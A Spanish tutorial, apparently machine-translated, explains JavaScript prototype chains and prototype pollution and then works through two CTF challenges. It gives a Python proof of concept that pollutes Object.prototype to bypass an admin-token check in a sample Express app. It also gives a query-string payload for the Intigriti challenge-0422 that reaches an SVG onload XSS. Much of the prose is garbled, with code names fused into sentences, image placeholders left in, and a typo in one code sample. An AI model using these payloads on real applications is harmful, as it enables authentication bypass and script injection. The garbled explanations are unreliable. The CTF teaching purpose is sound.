Ejercicios avanzados de inyección de XSS (3) Contaminación de la cadena de prototipos de XSS

1. El concepto de cadena de prototipos

Un aspecto importante de la programación orientada a objetos es la herencia de objetos. Al heredar el objeto B, el objeto A puede tener directamente todas las propiedades y métodos del objeto B. Esto es muy útil para la reutilización de código.

La mayoría de los lenguajes de programación orientados a objetos implementan la herencia de objetos a través de "clases". Tradicionalmente, la herencia del lenguaje JavaScript no se implementa a través de la clase, sino a través del "objeto prototipo" (prototipo).Este capítulo presenta la herencia de la cadena de prototipos de JavaScript.

Aunque ES6 introduce el concepto de clase, su implementación subyacente todavía se realiza a través de la cadena de prototipos.

1.1 Desventajas de los constructores

JavaScript genera nuevos objetos a través de constructores, por lo que los constructores pueden considerarse como plantillas para objetos. Las propiedades y métodos del objeto de instancia se pueden definir dentro del constructor.

    function Cat(name, color) {
    
    
        this.name = name;
        this.color = color;
    }

    var cat1 = new Cat('大毛', '白色');

    console.log(cat1.name);
    console.log(cat1.color);

inserte la descripción de la imagen aquí
En el código anterior, la función es un constructor, y los atributos y los atributos Catse definen dentro de la función Todos los objetos de instancia (en el ejemplo anterior ) generarán estos dos atributos, es decir, estos dos atributos se definirán en el objeto de instancia.namecolorcat1

Aunque es conveniente definir atributos para objetos de instancia a través de constructores, tiene una desventaja. Los atributos no se pueden compartir entre varias instancias del mismo constructor, lo que genera un desperdicio de recursos del sistema. Es decir, cada vez que se crea un objeto correspondiente, los atributos inherentes que se pueden compartir entre estos objetos deben reasignarse para su almacenamiento. llevar al despilfarro de recursos.

function Cat(name, color) {
    
    
  this.name = name;
  this.color = color;
  this.meow = function () {
    
    
    console.log('喵喵');
  };
}

var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');

cat1.meow === cat2.meow

resultado:

inserte la descripción de la imagen aquí
En el código anterior, cat1y cat2son dos instancias del mismo constructor, las cuales tienen meowmétodos. Dado que meowel método se genera en cada objeto de instancia, se generan dos instancias dos veces. En otras palabras, cada vez que se crea una nueva instancia, meowse creará un nuevo método. Esto es innecesario y una pérdida de recursos del sistema, ya que todos meowlos métodos tienen el mismo comportamiento y deben compartirse.

La solución a este problema es el objeto prototipo de JavaScript (prototipo).

Es decir, JS propone el concepto de cadena de prototipos para resolver el problema de los métodos de atributos compartidos entre diferentes instancias cuando el constructor genera instancias.

1.2 El papel del atributo prototipo

La idea de diseño del mecanismo de herencia de JavaScript es que todas las propiedades y métodos del objeto prototipo pueden ser compartidos por el objeto de instancia. Es decir, si las propiedades y los métodos se definen en el prototipo, todos los objetos de instancia se pueden compartir, lo que no solo ahorra memoria, sino que también refleja la conexión entre los objetos de instancia. (El prototipo es un área de memoria compartida donde se pueden almacenar elementos compartidos entre instancias)

A continuación, veamos primero cómo especificar un prototipo para un objeto. JavaScript estipula que cada función tiene una prototypepropiedad que apunta a un objeto.

function f() {
    
    }
typeof f.prototype // "object"

Encontramos que cualquier función tiene un atributo prototipo, que apunta a un objeto.

Para funciones ordinarias, este atributo es básicamente inútil. Sin embargo, para el constructor, cuando se genera una instancia, este atributo se convertirá automáticamente en el prototipo del objeto instancia.

function Animal(name) {
    
    
  this.name = name;
}
//定义构造函数的原型对象的color属性为 'white'
Animal.prototype.color = 'white';

//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');

//可以访问到实例自动获取的color属性
cat1.color // 'white'
cat2.color // 'white'

AnimalEn el código anterior, las propiedades del constructor prototypeson el objeto de instancia cat1y cat2el objeto prototipo. Se agrega una colorpropiedad al objeto prototipo y, como resultado, todos los objetos de instancia comparten esta propiedad.

Las propiedades del objeto prototipo no son propiedades del objeto de instancia en sí. Siempre que se modifique el objeto prototipo, el cambio se reflejará en todos los objetos de instancia inmediatamente.

Animal.prototype.color = 'yellow';

cat1.color // "yellow"
cat2.color // "yellow"

En el código anterior, colorel valor de la propiedad del objeto prototipo cambia yellowy las propiedades de los dos objetos de instancia colorcambian inmediatamente. Esto se debe a que el objeto de instancia en realidad no tiene coloratributos y todos leen colorlos atributos del objeto prototipo. Es decir, cuando el objeto instancia en sí mismo no tiene una determinada propiedad o método, irá al objeto prototipo para encontrar la propiedad o el método. Esto es lo que hace que los objetos prototipo sean especiales.

Si el objeto de instancia en sí tiene una determinada propiedad o método, no irá al objeto prototipo para encontrar esta propiedad o método.

cat1.color = 'black';

cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';

inserte la descripción de la imagen aquí
En el código anterior, se cambia el atributo cat1del objeto de instancia , de modo que ya no lee el atributo del objeto prototipo, y el valor de este último sigue siendo .colorblackcoloryellow

En resumen, la función del objeto prototipo es definir las propiedades y métodos compartidos por todos los objetos de instancia. Esta es la razón por la que se denomina objeto prototipo, y un objeto de instancia puede considerarse como un subobjeto derivado de un objeto prototipo.

Otro ejemplo es que definimos un método walk sobre el prototipo del constructor:

Animal.prototype.walk = function () {
    
    
  console.log(this.name + ' is walking');
};

Este método se puede llamar en cada instancia:

 function Animal(name) {
    
    
        this.name = name;
    }

    Animal.prototype.walk = function () {
    
    
        console.log(this.name + ' is walking');
    };

    //创建了两个实例
    var cat1 = new Animal('大毛');
    var cat2 = new Animal('二毛');
	//实例中可以调用对应的方法
    cat1.walk();
    car2.walk();

inserte la descripción de la imagen aquí
En este punto, entendemos que el papel del prototipo es proporcionar un espacio de memoria compartido para todas las instancias creadas por el constructor. Los métodos de atributos almacenados en este espacio pueden ser llamados por cada instancia recién creada. Y la instancia recién creada puede tener su propia implementación nueva (modificar los atributos predeterminados, es decir, atributos personalizados).

1.3 Cadena prototipo

JavaScript estipula que todos los objetos tienen su propio objeto prototipo (prototipo). Por un lado, cualquier objeto puede servir como prototipo de otros objetos; por otro lado, como el objeto prototipo también es un objeto, también tiene su propio prototipo. Por lo tanto, se formará una "cadena de prototipo" (prototype chain): objeto a prototipo, y luego al prototipo del prototipo...

Dado que la propiedad prototipo del constructor apunta a un objeto, ¿qué significa esto? Por supuesto, como prototipo del objeto, también tiene su propio constructor (objeto), y su propiedad prototipo apunta a un prototipo.

Si rastrea capa por capa, el prototipo de todos los objetos eventualmente se puede rastrear Object.prototype, es decir, las propiedades Objectdel constructor prototype. Object.prototypeEs decir, propiedades que heredan todos los objetos . Es por esto que todos los objetos tienen valueOfel método and , ya que este es heredado de .toStringObject.prototype

Aquí objectestá el punto básico de todo el JS, similar a la singularidad del universo, es decir, como objecttambién es un constructor, también debe tener atributos de prototipo. Y este prototipo define los métodos tostring y valueof. Por lo tanto, vale la pena mencionar todas las funciones e instancias de JS creadas por él. Ambas funciones son accesibles.

Entonces, ¿ Object.prototypeun objeto tiene su prototipo? Object.prototypeEl prototipo de la respuesta es sí null. nullNo tiene propiedades ni métodos, y no tiene su propio prototipo. Así que el final de la cadena de prototipos es null.

Object.getPrototypeOf(Object.prototype)
// null

El código anterior indica que Object.prototypeel prototipo del objeto es null, ya que nullno hay propiedades, la cadena de prototipos termina aquí. Object.getPrototypeOfEl método devuelve el prototipo del objeto de parámetro.

Al leer una propiedad de un objeto, el motor de JavaScript primero busca la propiedad del objeto en sí, si no la encuentra, va a su prototipo, si aún no la encuentra, va al prototipo del prototipo para encontrarla. él. Si no encuentra ninguno hasta el nivel superior Object.prototype, regrese undefined. Si tanto el objeto en sí como su prototipo definen una propiedad con el mismo nombre, entonces la propiedad del objeto en sí se lee primero, lo que se denomina "anulación".

Tenga en cuenta que subir un nivel, buscar una determinada propiedad en toda la cadena de prototipos tiene un impacto en el rendimiento. Cuanto mayor sea el objeto prototipo cuya propiedad está buscando tiene un mayor impacto en el rendimiento. Si se busca una propiedad que no existe, se recorrerá toda la cadena de prototipos.

Por ejemplo, si deja que las propiedades del constructor prototypeapunten a una matriz, significa que el objeto de instancia puede llamar al método de matriz.

var MyArray = function () {
    
    };

MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;

var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true

En el código anterior, minees el objeto de instancia del constructor MyArrayDado MyArray.prototypeque apunta a una instancia de matriz, minese puede llamar al método de matriz (estos métodos se definen en prototypeel objeto de la instancia de matriz). La última línea instanceofde expresiones se usa para comparar si un objeto es una instancia de cierto constructor y el resultado es una instancia minede la prueba Array.

1.4 constructorPropiedades

prototypeEl objeto tiene una constructorpropiedad, que por defecto apunta al prototypeconstructor donde se encuentra el objeto.

function P() {
    
    }
P.prototype.constructor === P // true

Dado que constructorel atributo se define prototypeen el objeto, significa que todos los objetos de instancia pueden heredarlo.

function P() {
    
    }
var p = new P();

p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false

En el código anterior, pes un objeto de instancia del constructor P, pero pno tiene propiedad en sí mismo.Esta constructorpropiedad en realidad lee P.prototype.constructorlas propiedades en la cadena prototipo.

constructorLa función del atributo es saber qué constructor generó un objeto de instancia.

function F() {
    
    };
var f = new F();

f.constructor === F // true
f.constructor === RegExp // false

En el código anterior, constructorel atributo determina fque el constructor del objeto de instancia es F, no RegExp.

Por otro lado, con constructorlas propiedades, es posible crear otra instancia a partir de un objeto de instancia.

function Constr() {
    
    }
var x = new Constr();

var y = new x.constructor();
y instanceof Constr // true

En el código anterior, xes una instancia del constructor , y el constructor se Constrpuede llamar indirectamente. x.constructorEsto hace posible que un método de instancia llame a su propio constructor.

Constr.prototype.createCopy = function () {
    
    
  return new this.constructor();
};

En el código anterior, createCopyel método llama al constructor para crear otra instancia.

constructorLos atributos representan la relación entre el objeto prototipo y el constructor. Si se modifica el objeto prototipo, los atributos generalmente se modificarán al mismo tiempo constructorpara evitar errores al hacer referencia.

Instancia de error:

function Person(name) {
    
    
  this.name = name;
}

Person.prototype.constructor === Person // true

//修改原型属性的指向
Person.prototype = {
    
    
  method: function () {
    
    }
};
//没有主动修改该constructor的情况下,这里会出现不一致的情况
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true

En el código anterior, el objeto prototipo del constructor Personse cambia, pero constructorla propiedad no se modifica, por lo que la propiedad ya no apunta a él Person. Dado que Personel nuevo prototipo de es un objeto ordinario y constructorlas propiedades del objeto ordinario apuntan al Objectconstructor, se Person.prototype.constructorconvierte en Object.

// 坏的写法
C.prototype = {
    
    
  method1: function (...) {
    
     ... },
  // ...
};

// 好的写法
C.prototype = {
    
    
  constructor: C,
  method1: function (...) {
    
     ... },
  // ...
};

// 更好的写法 --- 避免对原型对象的直接修改,不破坏结构,用方法名区分
C.prototype.method1 = function (...) {
    
     ... };

En el código anterior, vuelva constructora apuntar la propiedad al constructor original o solo agregue el método en el objeto prototipo, para asegurarse de que instanceofel operador no se distorsione.

Si no puede determinar constructorqué función es el atributo, hay otra forma: nameobtenga el nombre del constructor de la instancia a través del atributo.

function Foo() {
    
    }
var f = new Foo();
f.constructor.name // "Foo"

Hasta ahora, hemos aclarado el rol del atributo constructor, que es un atributo predeterminado en el prototipo, y el valor es el propietario del prototipo actual (apunta al constructor al que pertenece el prototipo actual). Es posible llamar al constructor a través de la instancia y realizar algunas funciones de copia de la instancia. Una cosa a tener en cuenta es que el atributo del constructor modificará automáticamente el valor. Cuando modificamos artificialmente el puntero del atributo del prototipo y queremos usarlo para acceder al constructor, debemos recordar modificar el valor del constructor, pero hay más sugerencias. No haga modificaciones de punto a punto a los objetos prototipo. Las funciones se pueden implementar en forma de agregar métodos sin destruir la estructura del prototipo.

Por supuesto, podemos usar esta propiedad para acceder al objeto prototipo a través de la instancia:

<script>
    function Person(name) {
    
    
        this.name = name;
    }

    let per = new Person('batman');
    console.log(Person.prototype);
    console.log(per.constructor.prototype);
</script>

inserte la descripción de la imagen aquí

1.5 prototypey__proto__

A través del estudio anterior, sabemos que el prototipo prototipo se utiliza como una propiedad del constructor, que apunta a un objeto. Podemos agregar algunas propiedades y métodos a este objeto. Estos métodos de atributo agregados al prototipo pueden ser heredados incondicionalmente por objetos de instancia. Por supuesto, solo hay una copia de los datos. Entonces, si queremos acceder directamente al prototipo del constructor en la instancia, ¿cómo debemos acceder?

¿entonces?

function Foo() {
    
    
        this.bar = 1
    }

    Foo.prototype.name = 'this is test for prototype';

    var foo1 = new Foo();

    console.log(foo1.name);
    console.log(foo1.prototype);

inserte la descripción de la imagen aquí
No debe ser accesible, porque se usa así:

  function Foo() {
    
    
        this.bar = 1
    }

    Foo.prototype.name = 'this is test for prototype';

    var foo1 = new Foo();

    console.log(foo1.name);
    console.log(foo1.__proto__);

inserte la descripción de la imagen aquí
En este punto, podemos ver que la __proto__función real es permitir que el objeto de instancia acceda al objeto prototipo de su propio constructor. Es decir, podemos ver la cadena de prototipos visitando todo el tiempo:

    function Foo() {
    
    
        this.bar = 1
    }

    Foo.prototype.name = 'this is test for prototype';

    var foo1 = new Foo();

    console.log(foo1.name);
    console.log(foo1.__proto__);
    console.log(foo1.__proto__.__proto__);
    console.log(foo1.__proto__.__proto__.__proto__);

inserte la descripción de la imagen aquí
Mira, en realidad encontramos nulo con tres visitas prototipo. Debido a que nuestro constructor está un nivel objectmás arriba, subir dos niveles es objectel prototipo de , y objectel prototipo de ' se acaba de definir null. Entonces podemos ver este fenómeno.

2. Contaminación de la cadena prototipo

2.1 ¿Qué es la contaminación de la cadena de prototipos?

Echemos un vistazo al fenómeno de la contaminación de la cadena de prototipos a través de un ejemplo simple:

// foo是一个简单的JavaScript对象
let foo = {
    
    bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 通过对象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {
    
    }

// 查看zoo.bar,值为修改后的2
console.log(zoo.bar)

inserte la descripción de la imagen aquí
__proto__En otras palabras, el motivo de la contaminación de la cadena de prototipos es que modificamos el objeto prototipo de su constructor a través de los objetos y atributos accesibles . De esta forma, afecta a los atributos correspondientes de cada instancia creada por el constructor posterior. La premisa es que esta instancia no realiza modificaciones personalizadas a esta propiedad.

2.2 Condiciones de contaminación de la cadena prototipo

En aplicaciones prácticas, ¿bajo qué circunstancias puede haber situaciones en las que un atacante pueda modificar la cadena de prototipos?

Pensemos, ¿bajo qué circunstancias podemos establecer __proto__el valor? De hecho, solo busque la operación que puede controlar el "nombre clave" de la matriz (objeto):

  • La combinación de objetos se utiliza para combinar y empalmar
  • Clonar objeto (de hecho, el núcleo es fusionar el objeto que se va a operar en un objeto vacío) copiar

Tomando la combinación de objetos como ejemplo, imaginamos una función de combinación simple:

function merge(target, source) {
    
    
	//循环取出source中的key
    for (let key in source) {
    
    
    	//判断key是否在源目均存在,存在就递归调用merge
        if (key in source && key in target) {
    
    
            merge(target[key], source[key])
        } else {
    
    
        //不存在直接让源覆盖目
            target[key] = source[key]
        }
    }
}

En resumen, la función de esta función es transferir propiedades entre objetos, y las propiedades del objeto de origen cubrirán completamente el objeto de destino. Si el objeto de destino no tiene uno, asígnelo directamente. Si hay un objeto de destino, después de la llamada recursiva, las propiedades correspondientes del objeto de destino aún se sobrescribirán.

Intentemos contaminar una vez:

//定义了对象o1和o2,并在o2里面添加了原型作为键
let o1 = {
    
    }
let o2 = {
    
    a: 1, "__proto__": {
    
    b: 2}}
//这里o1在复制的过程中会出现 o1._proto__ = {b:2}
//也就是说,后续可以用o3.b访问到原型属性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {
    
    }
console.log(o3.b)

resultado:

inserte la descripción de la imagen aquí
No hay contaminación en la cadena de prototipos como razonamos. Utilizamos análisis de punto de quiebre y análisis de seguimiento:

inserte la descripción de la imagen aquí
La llave no se sacó directamente __proto__, sino que se ignoró. Solo se sacan la llave a y la llave b.

Esto se debe a que, en el proceso de creación de o2 con JavaScript ( let o2 = {a: 1, "__proto__": {b: 2}}), __proto__ya representa el prototipo de o2. En este momento, al recorrer todos los nombres de clave de o2, lo que obtiene no [a, b]es __proto__una clave, y naturalmente el prototipo de Objeto no será modificado. .

Modificar el código:

let o1 = {
    
    }
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {
    
    }
console.log(o3.b)

Continúe con el seguimiento con el punto de quiebre:
inserte la descripción de la imagen aquí

Se puede ver que se ha eliminado __proto__como el nombre clave, y la contaminación de la cadena prototipo se puede realizar al final:

inserte la descripción de la imagen aquí

Esto se debe a que, en el caso del análisis de JSON, __proto__se considerará un "nombre de clave" real en lugar de un "prototipo", por lo que esta clave existirá al atravesar o2.

La operación de combinación es la operación más común que puede controlar el nombre de la clave, y también es la más vulnerable a los ataques de cadena de prototipos.Este problema existe en muchas bibliotecas comunes.

2.3 Prototipo con ejemplo de contaminación

2.3.1 truco 2018

La inspiración para esta pregunta proviene de hackit2018, y se inicia un programa nodejs en el backend, que proporciona dos interfaces api y admin. El usuario envía parámetros, utiliza la contaminación de la cadena prototipo para modificar ilegalmente la información de inicio de sesión y luego inicia sesión en el administrador.

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    
    
    matrix[i] = [null , null, null];
}

function draw(mat) {
    
    
    var count = 0;
    for (var i = 0; i < 3; i++){
    
    
        for (var j = 0; j < 3; j++){
    
    
            if (matrix[i][j] !== null){
    
    
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {
    
    

    for (var i = 0; i < 3; i++){
    
    
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => {
    
     
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
    
    
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
    
    
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    
    
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
    
    
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
    
    
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
    
    
            if (matrix[i][0] === 'X') {
    
    
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
    
    
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
    
    
            if (matrix[0][i] === 'X') {
    
    
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
    
    
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
    
    
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
    
    
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
    
    
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
    
    
        winner = 2;
    }

    if (draw(matrix) && winner === null){
    
    
        res.send(JSON.stringify({
    
    winner: 0}))
    }
    else if (winner !== null) {
    
    
        res.send(JSON.stringify({
    
    winner: winner}))
    }
    else {
    
    
        res.send(JSON.stringify({
    
    winner: -1}))
    }

})
app.listen(3000, () => {
    
    
    console.log('app listening on port 3000!')
})

La condición para obtener el indicador es que el token de consulta entrante debe ser igual al valor MD5 del token de administración en la propia matriz de usuarios, y ambos deben existir.

Coloque el código fuente anterior debajo de la ruta, y puede ejecutarse después de que se resuelvan las dependencias. Veamos primero sus lagunas:

//请求接口,admin页面验证失败就返回forbidden
app.get('/admin', (req, res) => {
    
     
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
    
    
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
    
    
        res.status(403).send('Forbidden');
    }    
}
)

//用户提交参数的api接口
app.post('/api', (req, res) => {
    
    
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
    
    
        client.row %= 3;
        client.col %= 3;
    }
    //漏洞点,此处用户提交的row和col以及data均可控,那么利用原型链污染的原理就可以污染object原型对象的参数。
    //污染admintokrn为已知信息
    matrix[client.row][client.col] = client.data;

Haz una prueba local primero:

inserte la descripción de la imagen aquí
Se puede realizar escribiendo python poc:

import requests
import json

url1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"

s = requests.session()

headers = {
    
    "Content-Type":"application/json"}
data1 = {
    
    "row":"__proto__","col":"admintoken","data":"batman"}

res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)

Efecto:
inserte la descripción de la imagen aquí

2.3.2 desafío-0422

challenge-0422 es un prototipo de desafío de contaminación en cadena de uno de los sitios web de desafíos XSS más famosos del mundo. Acerca de este desafío casi todos los meses. Aquellos que tengan éxito en el desafío pueden obtener algunos premios. Por supuesto, la dificultad no es baja. Cualquiera que esté interesado puede consultarlo para su estudio.

0422 significa el título del 22 de abril. Simplemente haga cambios en la URL correspondiente.

Veamos esta pregunta:

inserte la descripción de la imagen aquí

En la página se da un programa que simula ventanas, obviamente no pasa nada después de hacer clic. Necesitamos encontrar el código fuente JS correspondiente. Vemos que hay una etiqueta iframe dentro del código fuente. Intentamos ingresar:

inserte la descripción de la imagen aquí
ver fuente: https://challenge-0422.intigriti.io/challenge/Window%20Maker.html

De esta manera, podemos realizar un análisis preliminar de su código fuente: enumere sus principales códigos de función, le sugiero que intente averiguarlo primero. El siguiente contenido puede ser un poco difícil de entender

//main函数的位置
        function main() {
    
    
            //利用qs接收url中?以及以后的内容,并对其进行
            const qs = m.parseQueryString(location.search)

            let appConfig = Object.create(null)

            appConfig["version"] = 1337
            appConfig["mode"] = "production"
            appConfig["window-name"] = "Window"
            appConfig["window-content"] = "default content"
            //在JS中["string"]的写法,表明这里是一个数组赋值
            appConfig["window-toolbar"] = ["close"]
            appConfig["window-statusbar"] = false
            appConfig["customMode"] = false

            if (qs.config) {
    
    
                //第一次merge的调用位置
                merge(appConfig, qs.config)
                //这里把定制按钮打开
                appConfig["customMode"] = true
            }

            //又开始创建对象devsettings
            let devSettings = Object.create(null)
            //一系列的赋值,root接收到的是标签对象
            devSettings["root"] = document.createElement('main')
            devSettings["isDebug"] = false
            devSettings["location"] = 'challenge-0422.intigriti.io'
            devSettings["isTestHostOrPort"] = false
            
            //调用了这里的checkhost函数作为依据,进入第二次调用merge
            if (checkHost()) {
    
    
                //键值判断 测试主机端口标识位 置1
                devSettings["isTestHostOrPort"] = true
                //调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去
                merge(devSettings, qs.settings)
            }

            //判断是测试主机或者debug模式就打印两个对象appConfig和devSettings
            if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
    
    
                console.log('appConfig', appConfig)
                console.log('devSettings', devSettings)
            }
            
            //根据custommode的值对devsettings.root采取不同的内容挂载
            if (!appConfig["customMode"]) {
    
    
                m.mount(devSettings.root, App)
            } else {
    
    
                m.mount(devSettings.root, {
    
    
                    view: function () {
    
    
                        return m(CustomizedApp, {
    
    
                            name: appConfig["window-name"],
                            content: appConfig["window-content"],
                            options: appConfig["window-toolbar"],
                            status: appConfig["window-statusbar"]
                        })
                    }
                })
            }
            //将devSettings.root插入到body里面去
            document.body.appendChild(devSettings.root)
        }


        //获取当前页面的location信息,提取host仅当端口号为8080时返回true或者hostname为127.0.0.1
        //返回true
        function checkHost() {
    
    
            const temp = location.host.split(':')
            const hostname = temp[0]
            const port = Number(temp[1]) || 443
            return hostname === 'localhost' || port === 8080
        }

        //判断是否非本源?
        function isPrimitive(n) {
    
    
            return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
        }

        //进阶版的merge函数,内部对于敏感字符特别是"__proto__"进行了过滤
        function merge(target, source) {
    
    
            let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
            //从源中获取键值
            for (let key in source) {
    
    
                //遇到了包含敏感字符的键直接跳出循环一次予以忽略
                if (protectedKeys.includes(key)) continue
                //迭代进行merge的赋值
                //判断数据类型,类型符合就将其送入sanitize进行过滤。之后在进行赋值
                if (isPrimitive(target[key])) {
    
    
                    target[key] = sanitize(source[key])
                } else {
    
    
                    merge(target[key], source[key])
                }
            }
        }

        //过滤函数,判断输入是否是字符串,如果是字符串就对其进行过滤
        function sanitize(data) {
    
    
            if (typeof data !== 'string') return data
            return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
        }

        main()
    })()

Después de analizar el código anterior, comenzaremos a resolver el problema. Primero encuentre la función de combinación de función de característica. Un total de dos ocurrencias, el primer disparador es incondicional, appconfigmodificado. Hasta ahora, parece inútil. La segunda vez es una llamada condicional y debe haber una función de verificación con un valor de retorno de 1 antes de la llamada. A través del análisis anterior.

Como función de checkhost, la base del juicio es el nombre de host y el número de puerto solicitados. En la actualidad, parece que no hay forma de que pase la prueba.

Mire la función de la segunda fusión. La segunda modificación de fusión cubre este parámetro. Obviamente, al final de la función principal, devSettingsse utiliza document.body.appendChild(devSettings.root)este llamativo comportamiento de inserción .

Surgió la idea general, tenemos que encontrar una manera de interferir con la función checkhost antes de que podamos esperar devconfigs.rootcontaminar la insertada. Veamos esta función nuevamente en este momento:

 function checkHost() {
    
    
 			//获取了参数
            const temp = location.host.split(':')
            //用了temp数组进行参数的取出
            const hostname = temp[0]
            //继续调用temp[1]来取端口号,斯,端口号肯定没显示,取不出来。
            //那就默认443咯
            const port = Number(temp[1]) || 443
            return hostname === 'localhost' || port === 8080
        }

Recuerde el concepto básico de contaminación de la cadena de prototipos, use la instancia para acceder al objeto prototipo y cree la propiedad correspondiente, y contamine la instancia recién creada sin la propiedad. ¿La temperatura aquí tiene .1esta propiedad? No, entonces construimos los siguientes parámetros para la contaminación:

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我们就是访问到了object.ptototype.1 = 8080 后续新建的temp虽然没有.1这个属性
//但是object作为始祖原型拥有此属性,通过系统循环,找到了这个属性并且值恰好是8080
//于是,绕过了此处的checkhost函数,成功将对sttings的merge引入执行流程。

inserte la descripción de la imagen aquí
Ahora debes tener dos preguntas:

P1: ¿Por qué no __proto__acceder al objeto prototipo?
R1: Durante la fusión, el autor filtró mal este parámetro. Al encontrar este personaje, saltará del bucle actual e ignorará su existencia. P2

: ¿Por qué hay dos objetos en la consola?
R2: Debido a que aquí hay un código de salida de juicio
//el juicio es el host de prueba o el modo de depuración, imprima dos objetos
appConfig y devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) { console.log( 'appConfig', appConfig) consola.log('devSettings', devSettings) }


A continuación, nuestro objetivo es contaminar los parámetros de configuración y encontrar una manera de insertar el código JS completo para completar XSS:

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E

Los siguientes settingparámetros se obtienen encontrando el punto de inserción nivel por nivel. Por ejemplo:

inserte la descripción de la imagen aquí

El efecto emergente final:

inserte la descripción de la imagen aquí
Tenga en cuenta que esta ventana emergente solo puede tener efecto en navegadores que no sean Firefox. Pero es inofensivo, siempre y cuando todos puedan entender aproximadamente esta idea. A través de la contaminación de la cadena del segundo prototipo, nuestro código JS que finalmente se insertó realizó una ventana emergente XSS.

3. Resumen

En primer lugar, se propone el objeto prototipo para resolver el problema de desperdicio de recursos causado por el uso del constructor para crear múltiples instancias de métodos con atributos repetidos en el código JS. Al asignar prototypeatributos al constructor (que debe apuntar a un objeto prototipo con funciones compartidas), la instancia hereda de forma predeterminada todos los métodos de atributos escritos en el objeto prototipo. Por supuesto, esto no impide que las propiedades y los métodos personalizados de la instancia. Así es como funciona la creación de prototipos.

Como instancia de objeto prototipo, naturalmente tiene su propio constructor (objeto), por lo que object.prototypeel método especificado anteriormente será propiedad de todas las funciones JS, es decir, cualquier objeto que solemos decir tiene tostringmétodos y valueofmétodos. Como el ancestro protottpe, el prototipo del ancestro, su constructor no existe, por lo que cuando desee acceder a su objeto prototipo, solo devolverá un valor nulo.

Pero también es la existencia de este mecanismo lo que constituye la cadena de prototipos, es decir, cuando cualquier objeto accede a un atributo de método que no existe, primero encontrará su propio objeto prototipo, y luego buscará el prototipo cuando sea suyo. el objeto prototipo no existe El objeto prototipo del objeto se repite hasta que objectse devuelve el objeto prototipo del objeto prototipo encontrado nullantes de detener la búsqueda. Naturalmente, una cadena de prototipos larga puede afectar el rendimiento.

Entonces, el principio de la llamada contaminación de la cadena de prototipos es que al modificar las propiedades del objeto prototipo de una determinada instancia, la instancia creada con el mismo constructor puede llamar a las propiedades modificadas en la ejecución posterior del programa. Para afectar el proceso de ejecución del programa y realizar XSS malicioso u otros ataques de comportamiento malicioso. Su par es más común en funciones de asignación como fusionar.

Luego, en la función de combinación, si desea utilizar la contaminación de la cadena prototipo, debe insertar la cadena prototipo en el objetivo. Para resolver el problema de que la combinación no se reconoce de forma predeterminada cuando se ejecuta, jsonizaremos los parámetros pasados __proto__​​en la fusion El efecto se logra en secuencia, lo que se refleja en la carga útil de hackit2018.

